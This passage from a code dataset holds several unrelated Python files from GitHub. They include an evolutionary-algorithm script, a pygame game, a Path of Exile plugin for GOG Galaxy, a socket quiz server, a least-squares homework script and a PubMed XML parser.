Alkaoud, Fall 2016\ndef archive_sort(A, fA, P, fP):\n\n A = np.concatenate((A, P))\n fA = np.concatenate((fA, fP))\n num_solutions = A.shape[0]\n\n # use a boolean index to keep track of nondominated solns\n keep = np.ones(num_solutions, dtype = bool)\n\n for i in range(num_solutions):\n keep[i] = np.all(np.any(fA >= fA[i], axis=1))\n\n return (A[keep], fA[keep])\n\n\n# a simple multiobjective version of ES (sort of)\nnp.random.seed(2)\n\n# random initial population (l x d matrix)\nP = np.random.uniform(lb, ub, (l,d))\nf = np.zeros((l,num_obj)) # we'll evaluate them later\ngen = 0\n\n# archive starts with 2 bad made-up solutions\nA = np.zeros_like(P[0:2,:])\nfA = 10**10*np.ones_like(f[0:2,:])\n\nwhile gen < max_gen:\n\n # evaluate all solutions in the population\n for i,x in enumerate(P):\n f[i,:] = mymulti1(x)\n\n A,fA = archive_sort(A, fA, P, f)\n\n # find m parents from nondomination tournaments\n Q = np.zeros((m,d))\n for i in range(m):\n Q[i,:] = binary_tournament(P,f)\n\n # then mutate: each parent generates l/m children (integer division)\n child = 0\n for i,x in enumerate(Q):\n for j in range(int(l/m)):\n P[child,:] = mutate(x, lb, ub, s)\n child += 1\n\n gen += 1\n print(gen)\n\nplt.scatter(fA[:,0], fA[:,1])\nplt.show()\n","repo_name":"jdherman/eci263","sub_path":"L11-multiobj-archive-multi1.py","file_name":"L11-multiobj-archive-multi1.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"72"}
+{"seq_id":"73848862312","text":"import pygame as pg\nfrom random import randint\nfrom spryte import*\n\n\npg.init()\n\nWHITE = (255,255,255)\nBLACK = (0,0,0)\nRANDOM = (120,54,189)\nGREY = (64,64,64)\nFPS = 120\nWIDTH = 800\nHEIGHT = 600\n\nclock = pg.time.Clock()\n\nscore = 0\ncomic_sans30 = pg.font.SysFont(\"Comic Sans MS\", 30)\n\nspeed = 5\nlife = 100\n\nbg_img = pg.image.load(\"bakrund.png\")\nbg_img = pg.transform.scale(bg_img, (800,600))\n\nscreen = pg.display.set_mode((WIDTH,HEIGHT))\nsamurai_img = pg.image.load(\"samurai.png\")\nsamurai_img = pg.transform.scale(samurai_img, (100,130)) # endre størelse på karakter\n\nall_spryte = pg.sprite.Group()\nenemy_group = pg.sprite.Group()\nEnemyattack_group = pg.sprite.Group()\n\nsamurai = player()\nall_spryte.add(samurai)\n\ntext_hp = comic_sans30.render(\"SCORE: \" + str(score), True, WHITE)\n\nplaying = True\nwhile playing: # game loop\n \n clock.tick(FPS)\n for event in pg.event.get():\n if event.type == pg.QUIT:\n playing= False \n \n screen.blit(bg_img,(0,0))\n \n score += 1\n text_hp = comic_sans30.render(\"SCORE: \" + str(score), True, WHITE)\n \n all_spryte.update()\n\n hits = pg.sprite.spritecollide(samurai, Enemyattack_group,True)\n if hits:\n life -= 10\n if life < 1:\n playing = False\n \n all_spryte.draw(screen)\n\n screen.blit(text_hp, (10,10)) # TENGER SCORE\n\n #lage ny fiender \n if len(Enemyattack_group) < 3:\n enemy_attack = EnemyAttack()\n all_spryte.add(enemy_attack)\n Enemyattack_group.add(enemy_attack)\n\n pg.display.update()\n \n\n\n\n\n\n\n\n","repo_name":"haakonsollund/pygame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"27393385659","text":"import sys, re\r\nimport xml.etree.ElementTree as ET\r\nimport argparse\r\n\r\narg_parser = argparse.ArgumentParser(description='Extract lemmas from a PROIEL corpus, optionally merging with an existing file of lemmas.')\r\narg_parser.add_argument('-f', '--lemma_file', default=None, help='File of existing lemmas and forms')\r\narg_parser.add_argument('xml_files', nargs=\"*\")\r\n\r\nif __name__ == '__main__':\r\n\targs = arg_parser.parse_args(sys.argv[1:])\r\n\r\n\tlemmas = {}\r\n\r\n\tif args.lemma_file:\r\n\t\twith open(args.lemma_file, 'r') as infile:\r\n\t\t\trows = infile.read().splitlines()\r\n\t\t\tfor row in rows:\r\n\t\t\t\ttokens = row.split('\\t')\r\n\t\t\t\tlemma = tokens[0].lower()\r\n\t\t\t\tforms = lemmas.get(lemma, [])\r\n\t\t\t\tforms += tokens[1:]\r\n\t\t\t\tlemmas[lemma] = forms\r\n\r\n\r\n\tfor xml_file in args.xml_files:\r\n\t\troot = ET.parse(xml_file).getroot()\r\n\r\n\t\tfor sentence in root.iter('sentence'):\r\n\t\t\tfor token in sentence.iter('token'):\r\n\t\t\t\tif token.attrib.get('empty-token-sort'):\r\n\t\t\t\t\tcontinue\r\n\r\n\t\t\t\tform = token.attrib['form']\r\n\t\t\t\tform = form.replace(' ', '.')\r\n\t\t\t\tform = form.replace('\\xa0', '.') # hack for crazy space encoding in some PROIEL files\r\n\r\n\t\t\t\tlemma = token.attrib['lemma'].lower()\r\n\t\t\t\tforms = lemmas.get(lemma, [])\r\n\t\t\t\tforms.append(form)\r\n\t\t\t\tlemmas[lemma] = forms\r\n\r\n\tfor lemma in lemmas.keys():\r\n\t\tprint (lemma + \"\\t\" + \"\\t\".join(set(lemmas[lemma])))\r\n","repo_name":"cltk/ang_models_cltk","sub_path":"src/python/proiel_lemmas.py","file_name":"proiel_lemmas.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"9796758643","text":"import asyncio\nimport json\nimport os\nimport platform\nimport re\nimport subprocess\nimport sys\nimport tempfile\nfrom datetime import datetime\nfrom typing import Dict, List, Optional, Union\n\nfrom galaxy.api.consts import Platform\nfrom galaxy.api.errors import AuthenticationRequired, InvalidCredentials, UnknownBackendResponse\nfrom galaxy.api.plugin import create_and_run_plugin, Plugin\nfrom galaxy.api.types import (\n Achievement, Authentication, Game, LicenseInfo, LicenseType, LocalGame, LocalGameState, NextStep\n)\nfrom galaxy.proc_tools import process_iter\nfrom poe_http_client import AchievementTagSet, PoeHttpClient\nfrom poe_types import AchievementName, AchievementTag, PoeSessionId, ProfileName, Timestamp\n\n\ndef is_windows() -> bool:\n return platform.system() == \"Windows\"\n\n\nif is_windows():\n import aiofiles\n import winreg\n\n\nclass PoePlugin(Plugin):\n _AUTH_REDIRECT = r\"https://localhost/poe?name=\"\n _AUTH_SESSION_ID = \"POESESSID\"\n _AUTH_PROFILE_NAME = \"PROFILE_NAME\"\n\n @staticmethod\n def _read_manifest():\n with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"manifest.json\")) as manifest:\n return json.load(manifest)\n\n _GAME_ID = \"PathOfExile\"\n _GAME_BIN = \"PathOfExile_x64.exe\" if is_windows() else \"\"\n _PROC_NAMES = [\"pathofexile.exe\", \"pathofexile_x64.exe\"] if is_windows() else []\n\n _INSTALLER_BIN = \"PathOfExileInstaller.exe\"\n\n def __init__(self, reader, writer, token):\n self._http_client: Optional[PoeHttpClient] = None\n self._install_path: Optional[str] = self._get_install_path() if is_windows() else None\n self._game_state: LocalGameState = self._get_game_state() if is_windows() else None\n self._manifest = self._read_manifest()\n self._achievements_cache: Dict[AchievementName, Timestamp] = {}\n super().__init__(Platform(self._manifest[\"platform\"]), self._manifest[\"version\"], reader, writer, token)\n\n async def _close_client(self):\n if not self._http_client:\n return\n\n await self._http_client.shutdown()\n self._http_client = None\n\n def _on_auth_lost(self):\n asyncio.create_task(self._close_client())\n self.lost_authentication()\n\n async def _do_auth(\n self, poesessid: PoeSessionId, profile_name: ProfileName, store_poesessid: bool = True\n ) -> Authentication:\n if not poesessid:\n raise InvalidCredentials(self._AUTH_SESSION_ID)\n if not profile_name:\n raise InvalidCredentials(self._AUTH_PROFILE_NAME)\n\n self._http_client = PoeHttpClient(poesessid, profile_name, self._on_auth_lost)\n\n if store_poesessid:\n self.store_credentials({self._AUTH_SESSION_ID: poesessid, self._AUTH_PROFILE_NAME: profile_name})\n\n return Authentication(user_id=profile_name, user_name=profile_name)\n\n async def authenticate(self, stored_credentials: dict = None) -> Union[Authentication, NextStep]:\n poesessid: Optional[PoeSessionId] = None\n profile_name: Optional[ProfileName] = None\n\n if stored_credentials:\n poesessid = stored_credentials.get(self._AUTH_SESSION_ID)\n profile_name = stored_credentials.get(self._AUTH_PROFILE_NAME)\n\n if poesessid and profile_name:\n return await self._do_auth(poesessid, profile_name, store_poesessid=False)\n\n return NextStep(\n \"web_session\"\n , {\n \"window_title\": \"Still sane, exile?\"\n , \"window_width\": 800\n , \"window_height\": 600\n , \"start_uri\": \"https://www.pathofexile.com/login\"\n , \"end_uri_regex\": re.escape(self._AUTH_REDIRECT) + \".*\"\n }\n , js={\n \"https://www.pathofexile.com/my-account\": [\n r'''\n profileName = document.getElementsByClassName(\"name\")[0].textContent;\n window.location.replace(\"''' + self._AUTH_REDIRECT + r'''\" + profileName);\n '''\n ]\n }\n )\n\n async def pass_login_credentials(self, step: str, credentials: Dict[str, str], cookies: List[Dict[str, str]]):\n def get_session_id() -> PoeSessionId:\n for c in cookies:\n if c.get(\"name\") == self._AUTH_SESSION_ID and c.get(\"value\"):\n return PoeSessionId(c[\"value\"])\n\n raise InvalidCredentials(self._AUTH_SESSION_ID + \"not found in cookies\")\n\n def get_profile_name() -> ProfileName:\n split_uri = credentials[\"end_uri\"].split(self._AUTH_REDIRECT, maxsplit=1)\n if not split_uri or len(split_uri) < 2:\n raise InvalidCredentials(self._AUTH_PROFILE_NAME + \" not found\")\n return ProfileName(split_uri[1])\n\n return await self._do_auth(get_session_id(), get_profile_name())\n\n async def get_owned_games(self) -> List[Game]:\n return [Game(\n game_id=self._GAME_ID\n , game_title=\"Path of Exile\"\n , dlcs=[]\n , license_info=LicenseInfo(LicenseType.FreeToPlay)\n )]\n\n def requires_authentication(self):\n if not self._http_client:\n raise AuthenticationRequired()\n\n async def prepare_achievements_context(self, game_ids: List[str]) -> AchievementTagSet:\n self.requires_authentication()\n\n return await self._http_client.get_achievements()\n\n async def get_unlocked_achievements(self, game_id: str, achievement_tags: AchievementTagSet) -> List[Achievement]:\n def achievement_parser(achievement_tag: Optional[AchievementTag]) -> Achievement:\n name_tag = achievement_tag.h2\n if not name_tag:\n raise UnknownBackendResponse(\"Cannot find achievement name tag\")\n\n achievement_name = achievement_tag.h2.get_text()\n if not achievement_name:\n raise UnknownBackendResponse(\"Failed to parse achievement name\")\n\n return Achievement(\n unlock_time=self._achievements_cache.setdefault(\n achievement_name\n , Timestamp(int(datetime.utcnow().timestamp()))\n )\n , achievement_name=achievement_name\n )\n\n return [\n achievement_parser(achievement_tag)\n for achievement_tag in achievement_tags\n ]\n\n if is_windows():\n def tick(self):\n if not self._install_path:\n self._install_path = self._get_install_path()\n\n current_game_state = self._get_game_state()\n if self._game_state != current_game_state:\n self._game_state = current_game_state\n self.update_local_game_status(LocalGame(self._GAME_ID, self._game_state))\n\n @staticmethod\n def _get_install_path() -> Optional[str]:\n try:\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, r\"Software\\GrindingGearGames\\Path of Exile\") as h_key:\n return winreg.QueryValueEx(h_key, \"InstallLocation\")[0]\n\n except (WindowsError, ValueError):\n return None\n\n def _is_installed(self) -> bool:\n if not self._install_path:\n return False\n\n return os.path.exists(os.path.join(self._install_path, self._GAME_BIN))\n\n def _is_running(self) -> bool:\n for proc in process_iter():\n if proc.binary_path is None:\n continue\n\n for proc_name in self._PROC_NAMES:\n if proc.binary_path.lower().endswith(os.path.join(os.path.sep, proc_name)):\n return True\n\n return False\n\n def _get_game_state(self) -> LocalGameState:\n if not self._is_installed():\n return LocalGameState.None_\n\n if self._is_running():\n return LocalGameState.Running\n\n return LocalGameState.Installed\n\n async def get_local_games(self) -> List[LocalGame]:\n self._game_state = self._get_game_state()\n return [LocalGame(self._GAME_ID, self._game_state)]\n\n @staticmethod\n def _exec(command_path: str, *args, arg: List[str] = None, **kwargs):\n subprocess.Popen(\n [command_path] + (arg if arg else [])\n , *args\n , creationflags=subprocess.DETACHED_PROCESS | subprocess.CREATE_NO_WINDOW\n , cwd=os.path.dirname(command_path)\n , **kwargs\n )\n\n async def launch_game(self, game_id: str):\n if self._install_path:\n self._exec(os.path.join(self._install_path, self._GAME_BIN))\n\n async def _get_installer(self) -> str:\n def get_cached() -> Optional[str]:\n try:\n with winreg.OpenKey(\n winreg.HKEY_LOCAL_MACHINE\n , r\"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\"\n ) as h_info_root:\n for idx in range(winreg.QueryInfoKey(h_info_root)[0]):\n try:\n with winreg.OpenKeyEx(h_info_root, winreg.EnumKey(h_info_root, idx)) as h_sub_node:\n def get_value(key):\n return winreg.QueryValueEx(h_sub_node, key)[0]\n\n if get_value(\"DisplayName\") == \"Path of Exile\" and get_value(\"Installed\"):\n installer_path = get_value(\"BundleCachePath\")\n if os.path.exists(str(installer_path)):\n return installer_path\n\n except (WindowsError, KeyError, ValueError):\n continue\n\n except (WindowsError, KeyError, ValueError):\n return None\n\n async def download():\n self.requires_authentication()\n\n installer_path = os.path.join(tempfile.mkdtemp(), self._INSTALLER_BIN)\n async with aiofiles.open(installer_path, mode=\"wb\") as installer_bin:\n await installer_bin.write(await self._http_client.get_installer())\n\n return installer_path\n\n return get_cached() or await download()\n\n async def install_game(self, game_id: str):\n self._exec(await self._get_installer())\n\n async def uninstall_game(self, game_id: str):\n self._exec(await self._get_installer(), arg=[\"/uninstall\"])\n\n async def shutdown(self):\n await self._close_client()\n\n\ndef main():\n create_and_run_plugin(PoePlugin, sys.argv)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nyash-qq/galaxy-plugin-poe","sub_path":"src/poe_plugin.py","file_name":"poe_plugin.py","file_ext":"py","file_size_in_byte":10785,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"}
+{"seq_id":"44257452870","text":"import os\nimport select\nimport socket\nimport time\n\nfrom questionBank import * #Contains all the questions and options for the quiz\nfrom utilities import * #Contains all the functions which have been called here\n\nos.system('clear')\n\n#Socket programming\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\ns.bind((IP, PORT))\ns.listen(3)\n\nprint(\"Server started ...\")\n\nmax_players = 3 #Maximum number of players (Flexible.. Change it according to your wish)\nmax_score = 5 #Maximum score to win the game (Flexible.. Change it according to your wish)\n\nsockets_list = [s] \nplayers = {}\nscores_list = {}\n\nasked_que = [False]*len(questions_list) #List of questions which have already been asked \nindex = -1 #index of the question in questionBank\ndisplay_options = [] #order of the current options being displayed (Option numbers are shuffled everytime)\nquestions = 0 #Total number of questions asked\n\n#Utility to accept connections to the server\ndef accept_connections():\n while len(players) < max_players: #Connections need to be equal to max_players\n conn, addr = s.accept() #Accepting new connections\n username = receiveMsg(conn) #Receiving username of the new client\n if username is False:\n continue\n\n sockets_list.append(conn) #List of all sockets connected\n players[conn] = username #List of all players\n scores_list[username] = 0 #Scores of all players\n\n print(f\"Accepted new connection {addr}\")\n print(f\"Player username is {username}\")\n sendMsg(\"\\nWaiting for other players to connect...\\n\", conn)\n\n#Utility to send message to all the clients at once\ndef broadcast(message):\n for connection in sockets_list:\n try:\n sendMsg(message, connection)\n except:\n pass\n\n#Utility to send question and options of the quiz to all players\ndef quiz():\n global index, display_options \n index = selectQuestion(asked_que) #Selecting a random question which has not been asked earlier\n display_options = displayOptions(index) #Shuffled options\n broadcast(f\"\\nQ. {questions_list[index]}\\n\") \n #time.sleep(0.5)\n\n option_num = 1\n for option in display_options:\n broadcast(f\"{option_num}. {option}\")\n option_num += 1\n\n broadcast(\"Buzzer\") #Indicates the client to press buzzer\n\n#Utility to display scores of all the players\ndef scoreTable():\n time.sleep(1)\n broadcast(\"\\nCurrent Scores\")\n for player in scores_list:\n broadcast(f\"{player} : {scores_list[player]}\")\n\n#Utility to check if the answer is correct or not\ndef checkAnswer(option, buzzer_player):\n global display_options, index\n correct = False \n time.sleep(0.5)\n\n if option == \"false\": #Indication from the client that no response was given within 10 seconds\n sendMsg(\"You get -0.5 score\", buzzer_player)\n elif (49 <= ord(option[0]) <= 52): #ASCII value from 1 to 4\n option = int(option)\n correct = checkOption(display_options, option, index)\n else: #If something else is input then the answer is considered to be wrong\n pass\n\n if correct:\n sendMsg(\"\\nYour answer is correct\", buzzer_player)\n sendMsg(\"You get +1 score\", buzzer_player)\n scores_list[players[buzzer_player]] += 1\n else:\n sendMsg(\"\\nYour answer is wrong\", buzzer_player)\n sendMsg(\"You get -0.5 score\", buzzer_player)\n scores_list[players[buzzer_player]] -= 0.5\n\n if scores_list[players[buzzer_player]] >= max_score:\n return True\n return False\n\n\naccept_connections()\ntime.sleep(0.5)\nbroadcast(f\"All players have joined the game..\")\ntime.sleep(1)\n\n#Game Rules\nbroadcast(f\"\\nRules of the quiz are simple -\") \nbroadcast(f\"You have 10 seconds to press buzzer(enter any letter or number on the keyboard).\")\nbroadcast(f\"The first one to press buzzer will be given the opportunity to answer\")\nbroadcast(f\"You have 10 seconds to answer if your answer is correct you get +1 , in all other cases -0.5\")\nbroadcast(f\"First one to reach 5 points will be declared as the winner\")\ntime.sleep(5)\nbroadcast(f\"\\nGame is starting...\")\ntime.sleep(0.5)\n\n#Main loop for the game\nwhile True:\n\n if questions == len(questions_list): #If question bank is over then game is finished\n break\n\n time.sleep(2) \n quiz() #Ask question\n questions += 1\n time.sleep(1)\n\n no_answers = True #variable to check no answers within the TIMEOUT limit\n first_player = True #variable to check the first player to press buzzer\n\n read, _, _ = select.select(sockets_list,[],[], TIMEOUT) #Checks any responses within the TIMEOUT limit\n\n for socket in read:\n message = receiveMsg(socket)\n if first_player and message != \"false\": #\"false\" is indication from the client that no response was given within 10 seconds \n buzzer_player = socket #Player which pressed the buzzer first\n first_player = False\n no_answers = False\n break\n\n if no_answers:\n broadcast(\"No one pressed the buzzer!\\n\")\n time.sleep(0.5)\n broadcast(\"Proceeding to the next question...\")\n continue\n else:\n for socket in sockets_list: #Broadcasting to other players to not press the buzzer\n if socket != buzzer_player and socket != s:\n sendMsg(f\"\\n{players[buzzer_player]} pressed the buzzer first..\", socket)\n sendMsg(f\"Please wait for {players[buzzer_player]} to answer\", socket)\n\n sendMsg(\"Answer\", buzzer_player) #Indicates the client to answer\n\n option = receiveMsg(buzzer_player) #Response from the player\n if option:\n game_over = checkAnswer(option, buzzer_player)\n else:\n game_over = checkAnswer(\"false\", buzzer_player)\n\n scoreTable() #Displaying scores at the end of each question\n\n if game_over:\n break\n\n#Game is finished\ntime.sleep(1)\nbroadcast(\"\\nGame is over!!\")\n\ntime.sleep(1)\nif questions == len(questions_list):\n broadcast(f\"Question bank is finished..\")\nelse:\n broadcast(f\"Winner is {max(scores_list, key = scores_list.get)}!!\")\n\ntime.sleep(1)\nbroadcast(\"Hope you enjoyed playing the game!!\\n\")\nbroadcast(\"GameOver\") #Indicates the client to close the connection\ntime.sleep(1)\n\ns.close()","repo_name":"divyamagwl/GameShow","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6269,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"}
+{"seq_id":"4392016105","text":"from test_fmk.config.constants import base_url\nfrom .base_element import BaseElement\nfrom test_fmk.helpers.utils import Locator\n\nmodal_close = '//a[@data-role=\"layer-close\"]'\n\n\nclass Base:\n url = base_url\n\n def __init__(self, driver):\n self.driver = driver\n\n def open(self):\n self.driver.get(self.url)\n\n def get_base_element(self, by, value):\n self.check_close_modal()\n locator = Locator(by, value)\n elem = BaseElement(self.driver, locator)\n return elem\n\n def get_base_elements(self, by, value, elem_number=0):\n self.check_close_modal()\n locator = Locator(by, value)\n elems = BaseElement(self.driver, locator, plural=True)\n if elem_number == 0:\n return elems\n else:\n elems = elems.wait_for_elements_present()\n return elems[elem_number]\n\n def check_close_modal(self):\n locator = Locator('xpath', modal_close)\n try:\n elem = BaseElement(self.driver, locator, wait=0.2)\n elem.click(wait=0.1)\n except Exception:\n pass\n","repo_name":"edanca/automation-python-project","sub_path":"test_fmk/basis/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"70633569193","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 26 18:04:56 2020\n\n@author: jorgeagr\n\"\"\"\n\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mtick\n\n# Setting plotting variables\nwidth = 10\nheight = 10\n\nmpl.rcParams['figure.figsize'] = (width, height)\nmpl.rcParams['font.size'] = 18\nmpl.rcParams['figure.titlesize'] = 'small'\nmpl.rcParams['legend.fontsize'] = 'small'\nmpl.rcParams['xtick.major.size'] = 12\nmpl.rcParams['xtick.minor.size'] = 8\nmpl.rcParams['xtick.labelsize'] = 18\nmpl.rcParams['ytick.major.size'] = 12\nmpl.rcParams['ytick.minor.size'] = 8\nmpl.rcParams['ytick.labelsize'] = 18\n\nclass Constrained_LSF(object):\n \n def __init__(self, G, d, F, h):\n self.N = G.shape[1]\n self.G = G\n self.d = d.reshape(len(d),1)\n self.F = F\n self.h = h.reshape(len(h),1)\n return\n \n # LSF function to calcualte model parameters and covariance matrix\n def fit(self):\n ''' \n Outputs:\n m : (N+1)-array\n model weights\n m_var : (N+1)*(N+1) matrix\n covariance matrix\n '''\n G = self.G\n GT = self.G.T\n F = self.F\n FT = self.F.T\n GTGinv = np.linalg.inv(GT @ G)\n \n self.m = (GTGinv @ GT) @ self.d\n # Recalculate m for constrained version\n self.m = self.m - GTGinv @ FT @ np.linalg.inv(F @ GTGinv @ FT) @ (F @ self.m - h)\n \n d_model = G @ self.m\n r = self.d - d_model\n self.data_var = (r**2).sum() / (G.shape[0] - self.N + len(self.h))\n \n I = np.eye(len(self.m))\n self.m_cov = (I - GTGinv @ FT @ np.linalg.inv(F @ GTGinv @ FT) @ F) @ GTGinv @ (I - GTGinv @ FT @ np.linalg.inv(F @ GTGinv @ FT) @ F) * self.data_var\n self.m_std = np.sqrt(self.m_cov.diagonal())\n \n return self.m, self.m_cov\n\n # Calculate output for the model given input data\n def func(self, g):\n d = np.dot(g, self.m).flatten()\n d_var = g @ (self.m_cov @ g.T)\n return d, d_var\n\ndef minsec2dec(degrees, minutes, seconds):\n degrees += (minutes/60) + (seconds/3600)\n return degrees\n\ndef dec2minsec(degrees):\n remainder = degrees\n degrees = int(degrees)\n remainder = remainder - degrees\n minutes = int(remainder*60)\n remainder = remainder*60 - minutes\n seconds = int(round(remainder*60))\n return degrees, minutes, seconds\n\nA = minsec2dec(40, 19, 2)\nB = minsec2dec(70, 30, 1)\nC = minsec2dec(69, 11, 5)\n\nd = np.vstack([A, B, C])\nG = np.eye(3)\n\nF = np.array([[1, 1, 1]])\nh = np.array([180, ])\n\nmodel = Constrained_LSF(G, d, F, h)\nm, cov = model.fit()\n\n# Part A\nprint('Approximate Angles')\nfor l, a in zip(('A', 'B', 'C'), (m.flatten())):\n deg = dec2minsec(a)\n print('{} = {} deg {} min {} sec'.format(l, deg[0], deg[1], deg[2]))\nprint('\\nSum of angles = {}'.format(m.sum()))\n# Part B\nprint('\\nData Variance:', model.data_var)\n\n# Part C\nprint('\\nCovariance Matrix:\\n', model.m_cov)","repo_name":"JorgeAGR/nmsu-course-work","sub_path":"GPHY560/Homework 3/prob1.py","file_name":"prob1.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"41659128068","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\n\n\ndef draw_lines_from_points(img, pts, color=[255, 0, 0], \n thickness = 3):\n pts = pts.reshape((4,2))\n cv2.line(img, (pts[0, 0], pts[0, 1]), (pts[1, 0], pts[1, 1]), \n color, thickness)\n cv2.line(img, (pts[0, 0], pts[0, 1]), (pts[1, 0], pts[1, 1]), \n color, thickness)\n cv2.line(img, (pts[1, 0], pts[1, 1]), (pts[2, 0], pts[2, 1]), \n color, thickness)\n cv2.line(img, (pts[3, 0], pts[3, 1]), (pts[0, 0], pts[0, 1]), \n color, thickness)\n return None\n\n\ndef show_img(img, cmapval=None, ttl=''):\n plt.imshow(img, cmap=cmapval)\n plt.title(ttl)\n plt.show()\n return None\n\n\ndef show_imgs(imgs, cmaps, ttls, nrows=3, ncols=2, width=10, height=5, res=100):\n\n fig, ax = plt.subplots(nrows, ncols, figsize=(width, height), dpi=res)\n ax = ax.ravel()\n \n for i in range(len(imgs)):\n img = imgs[i]\n cmapval = cmaps[i]\n ttl = ttls[i]\n ax[i].imshow(img, cmap=cmapval)\n ax[i].set_title(ttl)\n \n for i in range(nrows * ncols):\n ax[i].axis('off')\n \n return None\n\n\ndef create_comb_img(main_img, side_img1_in, side_img2_in, side_img3_in, side_img4_in, side_img5_in):\n\n main_shape = main_img.shape\n\n # prepare images\n final_shape = (int(main_shape[0]*1.5), int(main_shape[1]*1.5),3)\n half_shape = (main_shape[0]//2, main_shape[1]//2)\n final_img = np.zeros(final_shape, dtype=main_img.dtype)\n\n side_img1 = cv2.resize(side_img1_in, half_shape[::-1])\n if len(side_img1.shape)==2:\n side_img1 = side_img1*255\n side_img1 = np.dstack((side_img1, side_img1, side_img1))\n\n side_img2 = cv2.resize(side_img2_in, half_shape[::-1])\n if len(side_img2.shape)==2:\n side_img2 = side_img2*255\n side_img2 = np.dstack((side_img2, side_img2, side_img2))\n\n side_img3 = cv2.resize(side_img3_in, half_shape[::-1])\n if len(side_img3.shape)==2:\n side_img3 = side_img3*255\n side_img3 = np.dstack((side_img3, side_img3, side_img3))\n\n side_img4 = cv2.resize(side_img4_in, half_shape[::-1])\n if len(side_img4.shape)==2:\n side_img4 = side_img4*255\n side_img4 = np.dstack((side_img4, side_img4, side_img4))\n \n side_img5 = cv2.resize(side_img5_in, half_shape[::-1])\n if len(side_img5.shape)==2:\n side_img5 = side_img5*255\n side_img5 = np.dstack((side_img5, side_img5, side_img5))\n\n # fill final image\n # main image\n final_img[-main_shape[0]:,-main_shape[1]:] = main_img\n # side image 1 (top left)\n final_img[:-main_shape[0],:-main_shape[1]] = side_img1\n # side image 2 (top middle)\n final_img[:-main_shape[0],-main_shape[1]:main_shape[1]] = side_img2\n # side image 3 (top right)\n final_img[:-main_shape[0],main_shape[1]:] = side_img3\n # side image 4 (left mid)\n final_img[-main_shape[0]:main_shape[0],:-main_shape[1]] = side_img4\n # side image 5 (left bottom)\n final_img[main_shape[0]:,:-main_shape[1]] = side_img5\n\n return final_img\n","repo_name":"fstahl1/advanced_lane_finding","sub_path":"help_func.py","file_name":"help_func.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"36910661970","text":"import xml.etree.ElementTree as ET\nimport re\n\nPATH = \"./PubmedArticleSet/PubmedArticle/MedlineCitation/Article\"\ndata_path = \"/home/tsung/CODE/Information-Retrieval/IR_HW/search/data/pubmed_data\"\n\n\nclass xmldata:\n def __init__(self, title=None, content=None, char_count=None, word_count=None, sentence_count=None, score=None):\n self.title = title\n self.content = content\n self.char_count = char_count\n self.word_count = word_count\n self.sentence_count = sentence_count\n self.score = score\n\n\ndef xmlParser(file_name):\n # return 20 data\n parse_data = []\n cnt = 0\n\n with open(file_name, \"r\", encoding='UTF-8') as inputFile:\n # omit first two row\n next(inputFile)\n next(inputFile)\n fileContent = inputFile.read()\n f = open(data_path, \"w\", encoding='UTF-8')\n # parse multi root xml\n tree = ET.fromstring(\"\" + fileContent + \"\")\n for artical in tree.findall(PATH):\n # fetch title\n title = artical.find(\"ArticleTitle\")\n if(title is None):\n title = ''\n else:\n title = ''.join(title.itertext())\n title = title.replace('\\n', ' ')\n title = title.replace('\\t', ' ')\n title = title.strip(' ')\n\n # fetch abstract\n abstract = artical.find(\"Abstract\")\n char_count = 0\n word_count = 0\n sentence_count = 0\n if(abstract is None):\n content = ''\n else:\n content = ''\n for abstractText in abstract.findall(\"AbstractText\"):\n if 'Label' in abstractText.attrib:\n content = content + '' + abstractText.attrib['Label'] + ':     '\n temp_text = ''.join(abstractText.itertext())\n temp_text = temp_text.replace('\\n', ' ')\n temp_text = temp_text.replace('\\t', ' ')\n temp_text = temp_text.strip(' ')\n content = content + temp_text + ' '\n # char_count = char_count + len(temp_text)\n char_count = char_count + len(re.split(r'\\S', temp_text))\n word_count = word_count + len(re.split(r'\\w+', content))\n else:\n content = ''.join(abstractText.itertext()) + ' '\n char_count = char_count + len(re.split(r'\\S', content))\n word_count = word_count + \\\n len(re.split(r'\\w+', content))\n\n # show partial data\n match_idx = []\n for idx in list(re.finditer('(? 0):\n # j = 0\n # # iterate each char\n # for k in range(len(content)):\n # if(k == match_idx[j][0]):\n # new_str = new_str + \\\n # '' + content[k]\n # elif(k == match_idx[j][1]):\n # new_str = new_str + ' ' + content[k]\n # j = j + 1\n # if(j >= len(match_idx)):\n # new_str = new_str + content[k + 1:]\n # break\n # else:\n # new_str = new_str + content[k]\n # # add span tag, it also add \\n for no reason\n # content = new_str.replace('\\n', ' ')\n '''\n some string have '\\n', which will cause error\n '''\n content = content.replace('\\n', ' ')\n output = '%s\\t%s\\t%d\\t%d\\t%d\\n' % (\n title, content, char_count, word_count, sentence_count)\n\n f.write(output)\n parse_data.append(\n xmldata(title, content, char_count, word_count, sentence_count, 0))\n cnt = cnt + 1\n f.close()\n return parse_data, cnt\n\n# 